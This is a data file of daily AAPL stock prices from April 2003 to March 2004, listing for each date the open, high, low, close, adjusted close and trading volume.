-2003-04-03,1.0399999618530273,1.0499999523162842,1.024999976158142,1.0328571796417236,0.8986901044845581,36428000.0,AAPL -2003-04-04,1.0371428728103638,1.0478571653366089,1.0278571844100952,1.0292856693267822,0.8955826163291931,36505000.0,AAPL -2003-04-07,1.0607142448425293,1.0678571462631226,1.0292856693267822,1.034999966621399,0.900554358959198,49215600.0,AAPL -2003-04-08,1.0364285707473755,1.0464285612106323,1.0257142782211304,1.0321428775787354,0.8980685472488403,32233600.0,AAPL -2003-04-09,1.0371428728103638,1.0442856550216675,1.0099999904632568,1.0135713815689087,0.8819094896316528,36681400.0,AAPL -2003-04-10,1.014285683631897,1.0278571844100952,1.014285683631897,1.0264285802841187,0.893096387386322,26775000.0,AAPL -2003-04-11,1.0035713911056519,1.031428575515747,0.9235714077949524,0.9428571462631226,0.8203808665275574,348177200.0,AAPL -2003-04-14,0.979285717010498,0.9821428656578064,0.9642857313156128,0.9700000286102295,0.8439980149269104,125739600.0,AAPL -2003-04-15,0.970714271068573,0.9714285731315613,0.949999988079071,0.956428587436676,0.8321895599365234,75992000.0,AAPL -2003-04-16,0.9278571605682373,0.9764285683631897,0.9228571653366089,0.9457142949104309,0.8228669166564941,254044000.0,AAPL -2003-04-17,0.9428571462631226,0.9464285969734192,0.9085714221000671,0.9371428489685059,0.8154090046882629,154064400.0,AAPL -2003-04-21,0.9378571510314941,0.9421428442001343,0.927142858505249,0.9385714530944824,0.8166519999504089,38080000.0,AAPL -2003-04-22,0.941428542137146,0.9728571176528931,0.9350000023841858,0.9649999737739563,0.8396473526954651,75142200.0,AAPL -2003-04-23,0.9664285778999329,0.9735714197158813,0.954285740852356,0.9700000286102295,0.8439980149269104,52420200.0,AAPL -2003-04-24,0.9657142758369446,0.9721428751945496,0.9285714030265808,0.9599999785423279,0.8352968096733093,81277000.0,AAPL -2003-04-25,0.9614285826683044,0.9700000286102295,0.9449999928474426,0.9535714387893677,0.8297033905982971,51329600.0,AAPL -2003-04-28,0.9628571271896362,0.9971428513526917,0.9592857360839844,0.9900000095367432,0.8613998889923096,159199600.0,AAPL -2003-04-29,0.9985714554786682,1.0114285945892334,0.9700000286102295,1.0042856931686401,0.8738297820091248,114559200.0,AAPL -2003-04-30,0.9950000047683716,1.024999976158142,0.9892857074737549,1.0157142877578735,0.8837738633155823,114543800.0,AAPL -2003-05-01,1.0178571939468384,1.0278571844100952,1.0,1.0257142782211304,0.8924751281738281,85689800.0,AAPL -2003-05-02,1.0328571796417236,1.0421428680419922,1.0242856740951538,1.0321428775787354,0.8980685472488403,80295600.0,AAPL -2003-05-05,1.0549999475479126,1.2057143449783325,1.0535714626312256,1.1492856740951538,0.9999942779541016,388927000.0,AAPL -2003-05-06,1.1514285802841187,1.2785714864730835,1.149999976158142,1.25,1.0876262187957764,378623000.0,AAPL -2003-05-07,1.2378571033477783,1.3028571605682373,1.2221428155899048,1.2607142925262451,1.096948504447937,263594800.0,AAPL -2003-05-08,1.264285683631897,1.2907142639160156,1.2350000143051147,1.2857142686843872,1.1187011003494263,171934000.0,AAPL -2003-05-09,1.3092857599258423,1.3142857551574707,1.277142882347107,1.3071428537368774,1.1373462677001953,147096600.0,AAPL -2003-05-12,1.2964285612106323,1.3385714292526245,1.2949999570846558,1.3257142305374146,1.1535054445266724,104843200.0,AAPL -2003-05-13,1.316428542137146,1.3550000190734863,1.2821428775787354,1.333571434020996,1.1603418588638306,111699000.0,AAPL -2003-05-14,1.3450000286102295,1.3457143306732178,1.316428542137146,1.3250000476837158,1.1528836488723755,88872000.0,AAPL -2003-05-15,1.3285714387893677,1.3464285135269165,1.3192857503890991,1.3378571271896362,1.1640708446502686,71248800.0,AAPL -2003-05-16,1.3278571367263794,1.35785710811615,1.3057142496109009,1.3428571224212646,1.1684210300445557,85407000.0,AAPL -2003-05-19,1.3235714435577393,1.3321428298950195,1.2899999618530273,1.2928571701049805,1.1249161958694458,111472200.0,AAPL -2003-05-20,1.2928571701049805,1.2971428632736206,1.2571429014205933,1.270714282989502,1.105649709701538,104055000.0,AAPL -2003-05-21,1.270714282989502,1.2921428680419922,1.2621428966522217,1.274999976158142,1.109378695487976,76252400.0,AAPL -2003-05-22,1.2778571844100952,1.3142857551574707,1.26714289188385,1.3028571605682373,1.1336172819137573,44615200.0,AAPL -2003-05-23,1.3007142543792725,1.3185714483261108,1.2828571796417236,1.308571457862854,1.1385892629623413,51679600.0,AAPL -2003-05-27,1.2828571796417236,1.350000023841858,1.2792856693267822,1.3485714197158813,1.1733931303024292,72532600.0,AAPL -2003-05-28,1.3214285373687744,1.3328571319580078,1.2964285612106323,1.3057142496109009,1.1361031532287598,84919800.0,AAPL -2003-05-29,1.3064285516738892,1.3214285373687744,1.2785714864730835,1.2928571701049805,1.1249161958694458,83441400.0,AAPL -2003-05-30,1.2942856550216675,1.2985714673995972,1.2521429061889648,1.2821428775787354,1.1155935525894165,95687200.0,AAPL -2003-06-02,1.2928571701049805,1.3064285516738892,1.2335714101791382,1.2464286088943481,1.0845186710357666,104647200.0,AAPL -2003-06-03,1.2457143068313599,1.2621428966522217,1.2157143354415894,1.2364286184310913,1.0758178234100342,90214600.0,AAPL -2003-06-04,1.235714316368103,1.270714282989502,1.2242857217788696,1.2571429014205933,1.0938411951065063,67800600.0,AAPL -2003-06-05,1.2464286088943481,1.26714289188385,1.2378571033477783,1.2599999904632568,1.0963271856307983,51374400.0,AAPL -2003-06-06,1.26714289188385,1.2885714769363403,1.2242857217788696,1.225000023841858,1.0658738613128662,60347000.0,AAPL -2003-06-09,1.2100000381469727,1.2171428203582764,1.1878571510314941,1.1992857456207275,1.0434995889663696,64988000.0,AAPL -2003-06-10,1.2064285278320312,1.2350000143051147,1.1964285373687744,1.2271428108215332,1.0677381753921509,44161600.0,AAPL -2003-06-11,1.225000023841858,1.2507143020629883,1.2007142305374146,1.2464286088943481,1.0845186710357666,56278600.0,AAPL -2003-06-12,1.2535713911056519,1.277142882347107,1.2464286088943481,1.2692856788635254,1.1044063568115234,63147000.0,AAPL -2003-06-13,1.2678571939468384,1.2821428775787354,1.2235714197158813,1.2442857027053833,1.0826542377471924,47811400.0,AAPL -2003-06-16,1.2571429014205933,1.3049999475479126,1.2464286088943481,1.3049999475479126,1.135481834411621,59631600.0,AAPL -2003-06-17,1.315000057220459,1.3214285373687744,1.284999966621399,1.2992857694625854,1.130509614944458,44366000.0,AAPL -2003-06-18,1.3178571462631226,1.3914285898208618,1.3078571557998657,1.3657143115997314,1.1883093118667603,113745800.0,AAPL -2003-06-19,1.382857084274292,1.4007142782211304,1.3407143354415894,1.367142915725708,1.1895524263381958,95382000.0,AAPL -2003-06-20,1.3821429014205933,1.3985713720321655,1.350000023841858,1.3714286088943481,1.1932810544967651,89136600.0,AAPL -2003-06-23,1.3785713911056519,1.406428575515747,1.3392857313156128,1.3614286184310913,1.184580683708191,76840400.0,AAPL -2003-06-24,1.3907142877578735,1.4049999713897705,1.337142825126648,1.341428518295288,1.1671781539916992,128595600.0,AAPL -2003-06-25,1.3471428155899048,1.3857142925262451,1.3364285230636597,1.3635714054107666,1.186444640159607,82453000.0,AAPL -2003-06-26,1.335714340209961,1.3799999952316284,1.335714340209961,1.3778570890426636,1.198874592781067,40426400.0,AAPL -2003-06-27,1.3785713911056519,1.3792856931686401,1.3200000524520874,1.3378571271896362,1.1640708446502686,91448000.0,AAPL -2003-06-30,1.3342857360839844,1.3721429109573364,1.3278571367263794,1.3614286184310913,1.184580683708191,55538000.0,AAPL -2003-07-01,1.347857117652893,1.3700000047683716,1.3221428394317627,1.3635714054107666,1.186444640159607,45248000.0,AAPL -2003-07-02,1.3592857122421265,1.3857142925262451,1.3585714101791382,1.3764286041259766,1.1976319551467896,81324600.0,AAPL -2003-07-03,1.3571428060531616,1.3964285850524902,1.3557143211364746,1.3664286136627197,1.188930869102478,34442800.0,AAPL -2003-07-07,1.3764286041259766,1.441428542137146,1.3664286136627197,1.4192856550216675,1.2349216938018799,71568000.0,AAPL -2003-07-08,1.3942856788635254,1.4642857313156128,1.39214289188385,1.4571428298950195,1.2678613662719727,64184400.0,AAPL -2003-07-09,1.4435714483261108,1.460714340209961,1.420714259147644,1.420714259147644,1.2361648082733154,53411400.0,AAPL -2003-07-10,1.4199999570846558,1.4242857694625854,1.3835713863372803,1.3985713720321655,1.2168982028961182,42733600.0,AAPL -2003-07-11,1.4042856693267822,1.4285714626312256,1.3949999809265137,1.4178571701049805,1.2336790561676025,34214600.0,AAPL -2003-07-14,1.4292857646942139,1.4571428298950195,1.4192856550216675,1.4214285612106323,1.2367866039276123,47101600.0,AAPL -2003-07-15,1.4299999475479126,1.4457142353057861,1.38785719871521,1.4007142782211304,1.218762993812561,51661400.0,AAPL -2003-07-16,1.4264285564422607,1.4285714626312256,1.3842856884002686,1.4192856550216675,1.2349216938018799,62732600.0,AAPL -2003-07-17,1.4421428442001343,1.4964286088943481,1.4378571510314941,1.4928570985794067,1.2989362478256226,187803000.0,AAPL -2003-07-18,1.4928570985794067,1.51285719871521,1.4571428298950195,1.4900000095367432,1.2964504957199097,74709600.0,AAPL -2003-07-21,1.4778571128845215,1.485714316368103,1.4500000476837158,1.4721428155899048,1.28091299533844,45952200.0,AAPL -2003-07-22,1.4907143115997314,1.4971429109573364,1.4642857313156128,1.485714316368103,1.2927213907241821,49606200.0,AAPL -2003-07-23,1.4964286088943481,1.4971429109573364,1.4614285230636597,1.4850000143051147,1.2920998334884644,35758800.0,AAPL -2003-07-24,1.5028570890426636,1.5357142686843872,1.4557143449783325,1.465000033378601,1.27469801902771,57309000.0,AAPL -2003-07-25,1.4578571319580078,1.5407142639160156,1.4571428298950195,1.5385714769363403,1.3387125730514526,54171600.0,AAPL -2003-07-28,1.5357142686843872,1.5357142686843872,1.4900000095367432,1.4992856979370117,1.3045300245285034,42589400.0,AAPL -2003-07-29,1.4992856979370117,1.5057142972946167,1.4657143354415894,1.4800000190734863,1.2877494096755981,49280000.0,AAPL -2003-07-30,1.4835714101791382,1.4928570985794067,1.4407142400741577,1.4485714435577393,1.2604031562805176,43398600.0,AAPL -2003-07-31,1.481428623199463,1.524999976158142,1.4692857265472412,1.5057142972946167,1.3101232051849365,75366200.0,AAPL -2003-08-01,1.5,1.5192856788635254,1.4742857217788696,1.4807143211364746,1.288370966911316,37401000.0,AAPL -2003-08-04,1.466428518295288,1.5357142686843872,1.4485714435577393,1.5149999856948853,1.318203091621399,57528800.0,AAPL -2003-08-05,1.524999976158142,1.5285714864730835,1.4357142448425293,1.4557143449783325,1.2666184902191162,62360200.0,AAPL -2003-08-06,1.4328571557998657,1.4407142400741577,1.3928571939468384,1.402142882347107,1.220005989074707,61366200.0,AAPL -2003-08-07,1.4092856645584106,1.434999942779541,1.3871428966522217,1.4235714673995972,1.2386507987976074,43594600.0,AAPL -2003-08-08,1.4364285469055176,1.4378571510314941,1.399999976158142,1.4028571844100952,1.2206274271011353,34414800.0,AAPL -2003-08-11,1.4157142639160156,1.4235714673995972,1.393571376800537,1.4042856693267822,1.2218701839447021,34307000.0,AAPL -2003-08-12,1.4114285707473755,1.414285659790039,1.3899999856948853,1.4071428775787354,1.2243562936782837,41109600.0,AAPL -2003-08-13,1.4185714721679688,1.4528571367263794,1.3985713720321655,1.441428542137146,1.2541881799697876,71024800.0,AAPL -2003-08-14,1.4435714483261108,1.4521428346633911,1.4242857694625854,1.4264285564422607,1.2411367893218994,48195000.0,AAPL -2003-08-15,1.4299999475479126,1.433571457862854,1.4042856693267822,1.4078571796417236,1.224977731704712,31466400.0,AAPL -2003-08-18,1.4185714721679688,1.4578571319580078,1.408571481704712,1.4528571367263794,1.264132022857666,48193600.0,AAPL -2003-08-19,1.4550000429153442,1.460714340209961,1.4285714626312256,1.4514285326004028,1.2628892660140991,33422200.0,AAPL -2003-08-20,1.441428542137146,1.5192856788635254,1.4385714530944824,1.5007143020629883,1.3057727813720703,68303200.0,AAPL -2003-08-21,1.5021429061889648,1.5507142543792725,1.4964286088943481,1.5485714673995972,1.3474136590957642,63831600.0,AAPL -2003-08-22,1.5578571557998657,1.5714285373687744,1.4742857217788696,1.4914286136627197,1.2976936101913452,62566000.0,AAPL -2003-08-25,1.4842857122421265,1.493571400642395,1.4635714292526245,1.4900000095367432,1.2964504957199097,34445600.0,AAPL -2003-08-26,1.4821428060531616,1.5049999952316284,1.4535714387893677,1.5035713911056519,1.3082588911056519,41239800.0,AAPL -2003-08-27,1.493571400642395,1.5342856645584106,1.4757143259048462,1.5342856645584106,1.3349833488464355,56425600.0,AAPL -2003-08-28,1.5235713720321655,1.587142825126648,1.5235713720321655,1.5850000381469727,1.3791100978851318,79906400.0,AAPL -2003-08-29,1.585714340209961,1.6321429014205933,1.5750000476837158,1.6150000095367432,1.4052131175994873,65788800.0,AAPL -2003-09-02,1.618571400642395,1.6357142925262451,1.600000023841858,1.6321429014205933,1.420129656791687,60533200.0,AAPL -2003-09-03,1.6285713911056519,1.6657142639160156,1.6257143020629883,1.639285683631897,1.4263439178466797,67207000.0,AAPL -2003-09-04,1.6542856693267822,1.6607142686843872,1.6264286041259766,1.6307142972946167,1.4188861846923828,49945000.0,AAPL -2003-09-05,1.6235713958740234,1.6535714864730835,1.6007143259048462,1.6071428060531616,1.3983768224716187,60033400.0,AAPL -2003-09-08,1.6057143211364746,1.6278570890426636,1.6050000190734863,1.6242856979370117,1.413292407989502,41811000.0,AAPL -2003-09-09,1.6092857122421265,1.6192857027053833,1.5800000429153442,1.597857117652893,1.3902969360351562,45092600.0,AAPL -2003-09-10,1.5892857313156128,1.6150000095367432,1.579285740852356,1.5842857360839844,1.3784887790679932,56222600.0,AAPL -2003-09-11,1.5892857313156128,1.6278570890426636,1.5785714387893677,1.6114286184310913,1.4021055698394775,53421200.0,AAPL -2003-09-12,1.60785710811615,1.6528571844100952,1.593571424484253,1.649999976158142,1.4356664419174194,44997400.0,AAPL -2003-09-15,1.6292856931686401,1.6357142925262451,1.5800000429153442,1.5864285230636597,1.3803527355194092,56711200.0,AAPL -2003-09-16,1.5864285230636597,1.6207143068313599,1.585714340209961,1.5971428155899048,1.3896753787994385,67251800.0,AAPL -2003-09-17,1.597857117652893,1.5985714197158813,1.5607142448425293,1.5800000429153442,1.3747594356536865,72349200.0,AAPL -2003-09-18,1.5785714387893677,1.64214289188385,1.5678571462631226,1.6342856884002686,1.4219932556152344,63226800.0,AAPL -2003-09-19,1.6342856884002686,1.6464285850524902,1.6021428108215332,1.6128571033477783,1.403348684310913,51489200.0,AAPL -2003-09-22,1.5842857360839844,1.6071428060531616,1.5657142400741577,1.5771428346633911,1.3722732067108154,44955400.0,AAPL -2003-09-23,1.572857141494751,1.604285717010498,1.5628571510314941,1.6021428108215332,1.3940260410308838,33112800.0,AAPL -2003-09-24,1.5864285230636597,1.593571424484253,1.5057142972946167,1.5228571891784668,1.3250393867492676,75321400.0,AAPL -2003-09-25,1.5242856740951538,1.5264285802841187,1.4464285373687744,1.4592857360839844,1.2697257995605469,143595200.0,AAPL -2003-09-26,1.4500000476837158,1.5499999523162842,1.4392857551574707,1.4778571128845215,1.285884976387024,86812600.0,AAPL -2003-09-29,1.534999966621399,1.5478571653366089,1.475000023841858,1.5214285850524902,1.3237965106964111,91425600.0,AAPL -2003-09-30,1.506428599357605,1.5157142877578735,1.4600000381469727,1.4800000190734863,1.2877494096755981,71356600.0,AAPL -2003-10-01,1.479285717010498,1.5071429014205933,1.4421428442001343,1.4850000143051147,1.2920998334884644,59028200.0,AAPL -2003-10-02,1.485714316368103,1.485714316368103,1.4485714435577393,1.4692857265472412,1.2784268856048584,51014600.0,AAPL -2003-10-03,1.4992856979370117,1.5614285469055176,1.4914286136627197,1.5492857694625854,1.3480349779129028,74900000.0,AAPL -2003-10-06,1.5478571653366089,1.5950000286102295,1.541428565979004,1.5921428203582764,1.3853249549865723,67082400.0,AAPL -2003-10-07,1.5750000476837158,1.6721428632736206,1.565000057220459,1.658571481704712,1.443124532699585,104543600.0,AAPL -2003-10-08,1.6607142686843872,1.6814285516738892,1.6235713958740234,1.6471428871154785,1.433180570602417,107167200.0,AAPL -2003-10-09,1.664285659790039,1.6907142400741577,1.6278570890426636,1.6749999523162842,1.4574192762374878,86937200.0,AAPL -2003-10-10,1.6785714626312256,1.7007142305374146,1.6692856550216675,1.691428542137146,1.4717135429382324,43709400.0,AAPL -2003-10-13,1.6950000524520874,1.743571400642395,1.6942857503890991,1.7392857074737549,1.5133540630340576,69966400.0,AAPL -2003-10-14,1.73714280128479,1.76714289188385,1.7278571128845215,1.7535713911056519,1.5257840156555176,68854800.0,AAPL -2003-10-15,1.774999976158142,1.7864285707473755,1.7557142972946167,1.7728571891784668,1.5425646305084229,152525800.0,AAPL -2003-10-16,1.7000000476837158,1.7028571367263794,1.6007143259048462,1.6607142686843872,1.4449890851974487,243920600.0,AAPL -2003-10-17,1.6699999570846558,1.6778571605682373,1.6021428108215332,1.625,1.4139140844345093,89952800.0,AAPL -2003-10-20,1.6142857074737549,1.6671428680419922,1.5985714197158813,1.658571481704712,1.443124532699585,69783000.0,AAPL -2003-10-21,1.6649999618530273,1.6714285612106323,1.625,1.6557142734527588,1.440638542175293,44115400.0,AAPL -2003-10-22,1.6385713815689087,1.6571428775787354,1.6200000047683716,1.6257143020629883,1.414535641670227,40399800.0,AAPL -2003-10-23,1.6235713958740234,1.6535714864730835,1.6135714054107666,1.64214289188385,1.4288300275802612,41302800.0,AAPL -2003-10-24,1.6114286184310913,1.6321429014205933,1.5878571271896362,1.6142857074737549,1.4045915603637695,54964000.0,AAPL -2003-10-27,1.625,1.6349999904632568,1.606428623199463,1.6142857074737549,1.4045915603637695,40503400.0,AAPL -2003-10-28,1.6114286184310913,1.697857141494751,1.600000023841858,1.6942857503890991,1.4741989374160767,62928600.0,AAPL -2003-10-29,1.6792857646942139,1.7071428298950195,1.6671428680419922,1.6921428442001343,1.4723351001739502,66770200.0,AAPL -2003-10-30,1.7135714292526245,1.7142857313156128,1.6335713863372803,1.6492856740951538,1.4350448846817017,65139200.0,AAPL -2003-10-31,1.664285659790039,1.6678571701049805,1.6271429061889648,1.6349999904632568,1.4226149320602417,54538400.0,AAPL -2003-11-03,1.6307142972946167,1.664285659790039,1.6271429061889648,1.6535714864730835,1.4387741088867188,75710600.0,AAPL -2003-11-04,1.6478571891784668,1.649999976158142,1.6135714054107666,1.6364285945892334,1.4238580465316772,62308400.0,AAPL -2003-11-05,1.6299999952316284,1.652142882347107,1.6050000190734863,1.6449999809265137,1.4313162565231323,80617600.0,AAPL -2003-11-06,1.6364285945892334,1.6535714864730835,1.6178570985794067,1.6514285802841187,1.4369096755981445,99268400.0,AAPL -2003-11-07,1.656428575515747,1.659999966621399,1.6035714149475098,1.6071428060531616,1.3983768224716187,52536400.0,AAPL -2003-11-10,1.6035714149475098,1.6178570985794067,1.559999942779541,1.5642857551574707,1.361086368560791,58569000.0,AAPL -2003-11-11,1.5642857551574707,1.572857141494751,1.5342856645584106,1.5385714769363403,1.3387125730514526,53768400.0,AAPL -2003-11-12,1.5342856645584106,1.6228570938110352,1.5342856645584106,1.5950000286102295,1.3878110647201538,75000800.0,AAPL -2003-11-13,1.5764285326004028,1.6114286184310913,1.5657142400741577,1.6014286279678345,1.393404483795166,53193000.0,AAPL -2003-11-14,1.6057143211364746,1.6150000095367432,1.5199999809265137,1.5328571796417236,1.333740472793579,59262000.0,AAPL -2003-11-17,1.524999976158142,1.5264285802841187,1.4964286088943481,1.5092856884002686,1.3132307529449463,57064000.0,AAPL -2003-11-18,1.5149999856948853,1.5242856740951538,1.4535714387893677,1.4578571319580078,1.2684829235076904,66798200.0,AAPL -2003-11-19,1.468571424484253,1.475000023841858,1.4471428394317627,1.458571434020996,1.2691043615341187,86146200.0,AAPL -2003-11-20,1.4357142448425293,1.5057142972946167,1.4357142448425293,1.4557143449783325,1.2666184902191162,59897600.0,AAPL -2003-11-21,1.4528571367263794,1.4700000286102295,1.4178571701049805,1.4485714435577393,1.2604031562805176,60459000.0,AAPL -2003-11-24,1.4642857313156128,1.5192856788635254,1.460714340209961,1.5107142925262451,1.3144738674163818,95456200.0,AAPL -2003-11-25,1.5164285898208618,1.5178571939468384,1.4721428155899048,1.4771428108215332,1.2852635383605957,67163600.0,AAPL -2003-11-26,1.492142915725708,1.5107142925262451,1.4464285373687744,1.4800000190734863,1.2877494096755981,61282200.0,AAPL -2003-11-28,1.4842857122421265,1.5049999952316284,1.4657143354415894,1.493571400642395,1.2995579242706299,19024600.0,AAPL -2003-12-01,1.5028570890426636,1.5607142448425293,1.5,1.5507142543792725,1.3492779731750488,90384000.0,AAPL -2003-12-02,1.5428571701049805,1.5642857551574707,1.5292856693267822,1.5385714769363403,1.3387125730514526,51324000.0,AAPL -2003-12-03,1.5385714769363403,1.559999942779541,1.4971429109573364,1.5021429061889648,1.3070157766342163,47824000.0,AAPL -2003-12-04,1.4957143068313599,1.5121428966522217,1.4835714101791382,1.5107142925262451,1.3144738674163818,44485000.0,AAPL -2003-12-05,1.4928570985794067,1.5107142925262451,1.4807143211364746,1.4892857074737549,1.2958287000656128,46544400.0,AAPL -2003-12-08,1.4842857122421265,1.5057142972946167,1.4578571319580078,1.5035713911056519,1.3082588911056519,37059400.0,AAPL -2003-12-09,1.5121428966522217,1.5178571939468384,1.4571428298950195,1.460714340209961,1.2709686756134033,33786200.0,AAPL -2003-12-10,1.460714340209961,1.4721428155899048,1.4257142543792725,1.4557143449783325,1.2666184902191162,67834200.0,AAPL -2003-12-11,1.4464285373687744,1.5242856740951538,1.4435714483261108,1.5149999856948853,1.318203091621399,45784200.0,AAPL -2003-12-12,1.5228571891784668,1.5228571891784668,1.4785714149475098,1.492142915725708,1.2983150482177734,48168400.0,AAPL -2003-12-15,1.534999966621399,1.534999966621399,1.433571457862854,1.4407142400741577,1.2535665035247803,97227200.0,AAPL -2003-12-16,1.4421428442001343,1.4635714292526245,1.4292857646942139,1.4371428489685059,1.2504594326019287,93489200.0,AAPL -2003-12-17,1.4342857599258423,1.4378571510314941,1.4135714769363403,1.4199999570846558,1.235542893409729,68565000.0,AAPL -2003-12-18,1.4214285612106323,1.441428542137146,1.4214285612106323,1.4314285516738892,1.2454874515533447,82728800.0,AAPL -2003-12-19,1.4421428442001343,1.458571434020996,1.4014285802841187,1.4071428775787354,1.2243562936782837,113390200.0,AAPL -2003-12-22,1.4035714864730835,1.420714259147644,1.375,1.4178571701049805,1.2336790561676025,94266200.0,AAPL -2003-12-23,1.4228571653366089,1.4249999523162842,1.399999976158142,1.4149999618530273,1.231192946434021,77124600.0,AAPL -2003-12-24,1.408571481704712,1.4707143306732178,1.4035714864730835,1.4578571319580078,1.2684829235076904,44368800.0,AAPL -2003-12-26,1.4535714387893677,1.493571400642395,1.4528571367263794,1.4842857122421265,1.2914783954620361,25923800.0,AAPL -2003-12-29,1.493571400642395,1.5114285945892334,1.4900000095367432,1.5107142925262451,1.3144738674163818,58364600.0,AAPL -2003-12-30,1.51285719871521,1.5357142686843872,1.5107142925262451,1.5199999809265137,1.3225537538528442,51213400.0,AAPL -2003-12-31,1.524999976158142,1.537857174873352,1.51285719871521,1.5264285802841187,1.3281469345092773,43612800.0,AAPL -2004-01-02,1.539285659790039,1.5535714626312256,1.51285719871521,1.5199999809265137,1.3225537538528442,36160600.0,AAPL -2004-01-05,1.5299999713897705,1.5992857217788696,1.5299999713897705,1.583571434020996,1.3778669834136963,98754600.0,AAPL -2004-01-06,1.5892857313156128,1.6014286279678345,1.5507142543792725,1.5778571367263794,1.3728951215744019,127337000.0,AAPL -2004-01-07,1.5785714387893677,1.6307142972946167,1.566428542137146,1.6135714054107666,1.4039697647094727,146718600.0,AAPL -2004-01-08,1.631428599357605,1.6950000524520874,1.6178570985794067,1.6685714721679688,1.451825499534607,115075800.0,AAPL -2004-01-09,1.6592856645584106,1.7235714197158813,1.6278570890426636,1.6428571939468384,1.4294512271881104,106864800.0,AAPL -2004-01-12,1.6607142686843872,1.7142857313156128,1.649999976158142,1.6950000524520874,1.4748214483261108,121886800.0,AAPL -2004-01-13,1.764285683631897,1.7742856740951538,1.704285740852356,1.722857117652893,1.4990594387054443,169754200.0,AAPL -2004-01-14,1.7428570985794067,1.7528570890426636,1.6985714435577393,1.7285714149475098,1.504031777381897,155010800.0,AAPL -2004-01-15,1.6364285945892334,1.6714285612106323,1.6071428060531616,1.6321429014205933,1.420129656791687,254552200.0,AAPL -2004-01-16,1.6349999904632568,1.645714282989502,1.6150000095367432,1.6228570938110352,1.4120495319366455,93205000.0,AAPL -2004-01-20,1.6192857027053833,1.6285713911056519,1.5892857313156128,1.6235713958740234,1.4126708507537842,78986600.0,AAPL -2004-01-21,1.6214286088943481,1.6407142877578735,1.6021428108215332,1.6150000095367432,1.4052131175994873,56665000.0,AAPL -2004-01-22,1.6114286184310913,1.6307142972946167,1.5842857360839844,1.5842857360839844,1.3784887790679932,51251200.0,AAPL -2004-01-23,1.6014286279678345,1.6242856979370117,1.5892857313156128,1.6114286184310913,1.4021055698394775,56792400.0,AAPL -2004-01-26,1.604285717010498,1.6471428871154785,1.6021428108215332,1.643571376800537,1.4300731420516968,67817400.0,AAPL -2004-01-27,1.645714282989502,1.6607142686843872,1.6285713911056519,1.6478571891784668,1.4338021278381348,76767600.0,AAPL -2004-01-28,1.631428599357605,1.6699999570846558,1.6007143259048462,1.6085714101791382,1.399619698524475,68850600.0,AAPL -2004-01-29,1.6164286136627197,1.6285713911056519,1.5850000381469727,1.6200000047683716,1.4095637798309326,53174800.0,AAPL -2004-01-30,1.6178570985794067,1.6335713863372803,1.6014286279678345,1.6114286184310913,1.4021055698394775,46324600.0,AAPL -2004-02-02,1.604285717010498,1.6292856931686401,1.5771428346633911,1.5942857265472412,1.387189507484436,71857800.0,AAPL -2004-02-03,1.5928571224212646,1.600000023841858,1.5714285373687744,1.590000033378601,1.3834604024887085,45203200.0,AAPL -2004-02-04,1.5714285373687744,1.5778571367263794,1.5499999523162842,1.5564285516738892,1.3542498350143433,76388200.0,AAPL -2004-02-05,1.558571457862854,1.6364285945892334,1.5578571557998657,1.6014286279678345,1.393404483795166,88211200.0,AAPL -2004-02-06,1.6035714149475098,1.6349999904632568,1.600000023841858,1.6221429109573364,1.4114280939102173,48335000.0,AAPL -2004-02-09,1.6157143115997314,1.632857084274292,1.6071428060531616,1.6192857027053833,1.4089421033859253,47065200.0,AAPL -2004-02-10,1.6157143115997314,1.6514285802841187,1.6028571128845215,1.6414285898208618,1.428208351135254,63835800.0,AAPL -2004-02-11,1.6492856740951538,1.7050000429153442,1.6464285850524902,1.7000000476837158,1.479171633720398,87136000.0,AAPL -2004-02-12,1.6864285469055176,1.7135714292526245,1.6857142448425293,1.6950000524520874,1.4748214483261108,45997000.0,AAPL -2004-02-13,1.7035714387893677,1.7214285135269165,1.6307142972946167,1.6428571939468384,1.4294512271881104,78995000.0,AAPL -2004-02-17,1.649999976158142,1.6778571605682373,1.649999976158142,1.6542856693267822,1.4393956661224365,42739200.0,AAPL -2004-02-18,1.6557142734527588,1.6742857694625854,1.6464285850524902,1.6614285707473755,1.445610523223877,35408800.0,AAPL -2004-02-19,1.666428565979004,1.6885714530944824,1.6007143259048462,1.6050000190734863,1.3965121507644653,80770200.0,AAPL -2004-02-20,1.6071428060531616,1.60785710811615,1.5864285230636597,1.600000023841858,1.3921616077423096,69400800.0,AAPL -2004-02-23,1.5957143306732178,1.604285717010498,1.5635714530944824,1.5850000381469727,1.3791100978851318,48519800.0,AAPL -2004-02-24,1.5814285278320312,1.6242856979370117,1.5714285373687744,1.5971428155899048,1.3896753787994385,64764000.0,AAPL -2004-02-25,1.591428518295288,1.6357142925262451,1.5864285230636597,1.6292856931686401,1.4176431894302368,69069000.0,AAPL -2004-02-26,1.6342856884002686,1.6557142734527588,1.6285713911056519,1.645714282989502,1.4319374561309814,49602000.0,AAPL -2004-02-27,1.6399999856948853,1.7157143354415894,1.639285683631897,1.708571434020996,1.486629605293274,117209400.0,AAPL -2004-03-01,1.7214285135269165,1.735714316368103,1.7050000429153442,1.7157143354415894,1.4928447008132935,80420200.0,AAPL -2004-03-02,1.7142857313156128,1.7214285135269165,1.697857141494751,1.7007142305374146,1.479792833328247,64171800.0,AAPL -2004-03-03,1.6857142448425293,1.7278571128845215,1.6857142448425293,1.708571434020996,1.486629605293274,56282800.0,AAPL -2004-03-04,1.7092857360839844,1.8014285564422607,1.7078571319580078,1.7971428632736206,1.5636955499649048,165055800.0,AAPL -2004-03-05,1.7821428775787354,1.9635714292526245,1.7785714864730835,1.909999966621399,1.6618927717208862,385149800.0,AAPL -2004-03-08,1.9014285802841187,1.9135714769363403,1.8428571224212646,1.8571428060531616,1.6159015893936157,130718000.0,AAPL -2004-03-09,1.850000023841858,1.9450000524520874,1.8392857313156128,1.9357142448425293,1.6842666864395142,154590800.0,AAPL -2004-03-10,1.9314285516738892,2.009999990463257,1.9242857694625854,1.9771428108215332,1.7203140258789062,251741000.0,AAPL -2004-03-11,1.947857141494751,2.002857208251953,1.934999942779541,1.9392857551574707,1.6873737573623657,148962800.0,AAPL -2004-03-12,1.9514285326004028,1.9842857122421265,1.9407142400741577,1.968571424484253,1.7128559350967407,82306000.0,AAPL -2004-03-15,1.9307142496109009,1.9535714387893677,1.8757143020629883,1.889285683631897,1.643869400024414,120429400.0,AAPL -2004-03-16,1.8964285850524902,1.9007142782211304,1.8135714530944824,1.8442857265472412,1.6047148704528809,151358200.0,AAPL -2004-03-17,1.854285717010498,1.8842856884002686,1.841428518295288,1.8707143068313599,1.6277103424072266,102858000.0,AAPL -2004-03-18,1.8528571128845215,1.8614286184310913,1.8278571367263794,1.833571434020996,1.5953925848007202,80270400.0,AAPL 